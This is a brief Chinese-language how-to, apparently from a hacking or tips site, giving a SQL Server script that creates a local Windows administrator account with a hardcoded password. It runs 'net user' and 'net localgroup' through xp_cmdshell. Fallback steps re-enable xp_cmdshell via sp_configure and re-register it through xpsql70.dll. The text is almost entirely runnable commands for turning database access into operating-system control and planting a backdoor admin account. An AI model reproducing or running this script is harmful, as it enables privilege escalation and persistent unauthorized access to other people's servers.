通过SQL SERVER添加系统管理员帐号,当然是需要有足够的权限,远程链接数据库后执行脚本,脚本如下:
/*
此代码是在master数据库下运行
增加系统管理员:mmcgzs 密码:123qwe!@#
*/
xp_cmdshell 'net user mmcgzs 123qwe!@# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'
/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'